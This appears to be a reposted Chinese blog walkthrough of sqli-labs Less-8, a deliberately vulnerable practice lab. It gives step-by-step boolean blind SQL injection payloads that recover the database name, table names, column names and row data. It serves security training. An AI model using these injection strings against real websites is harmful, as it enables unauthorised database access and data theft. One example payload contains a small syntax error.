zoukankan      html  css  js  c++  java
  • sqli-labs less-8

     

    布尔盲注构造SQL判断语句 --> 如:1’ and length(database())>=5#判断数据库字符长度

                                   利用 1’ and substr(database(),1,1)=’z’#判断第一个字符

                                   1’ and substr(database(),2,1)=’z’#判断第二个字符

                                   1’ and ord(substr(database()),3,1)=119#判断第三个字符的ASCII

        查表名:1’ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1,),2,1)=’u’#

        判断是否是布尔盲注 --> 判断数据库字符的长度 --> 爆数据库名 --> 爆表名 --> 爆字段

       (使用union注入判断)

     --------------------------------------------------------------------------------------------------

    Less-8(布尔型盲注)

    1.判断是否存在注入点

      执行?id=1,回显正常,执行?id=1时,没有回显,首先判断存在注入点,执行?id=1’ --+时,回显正常,所以注入方式是:’’

    2.判断是什么类型的盲注

    3.判断数据库字符的长度

     执行?id=1’ and length(database())>=8 --+进行尝试判断,最终得到数据库的字符长度为8

    4.爆数据库名

     执行?id=1’ and substr(database(),1,1)=’s’ --+ 用于判断第一个字符

     执行?id=1’ and substr(database(),2,1)=’e’ --+ 用于判断第二个字符

     同理,由此逐个判断,直到爆出数据库名为security

    5.爆表名

     执行?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+ 判断库下的第一个表的长度

     执行?id=1’ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’ --+  判断库下的第一行的表的第一个字母是什么

     色块表明数据库下的第一行的表

     同理逐个判断,直到爆出security下的所有表名为:emailsreferersuagentsusers

    6.爆字段名(爆emails

     还是要爆长度,这里就不写了

     执行?id=1’ and substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)=’i’ --+  判断表emails下的第一行的字段的第一个字母

     同理逐个判断,直到爆出emails下的所有字段名为:idemail_id

    7.爆数据(爆id

     执行?id=1’ and substr((select id from emails limit 0,1),1,1)=1 --+

     判断字段(列)id下的第一行的第一个数据

     同理逐个判断,直到爆出emails下的数据

    -------------------------------------------------------END----------------------------------------------------------------

  • 相关阅读:
    Java和Flex积分误差(一个)
    分组统计查询(本章小结)
    crm使用soap删除实体
    宁可信其有,谎言重复千遍就会成为真理,性格可以被改变
    意想不到的一天,无法逃出的肖申克
    测试使用wiz来发布blog
    2013年7月4日星期四
    2013年7月3日星期三
    2013年7月2日星期二
    2013年7月1日星期一
  • 原文地址:https://www.cnblogs.com/B-roin/p/12296824.html
Copyright © 2011-2022 走看看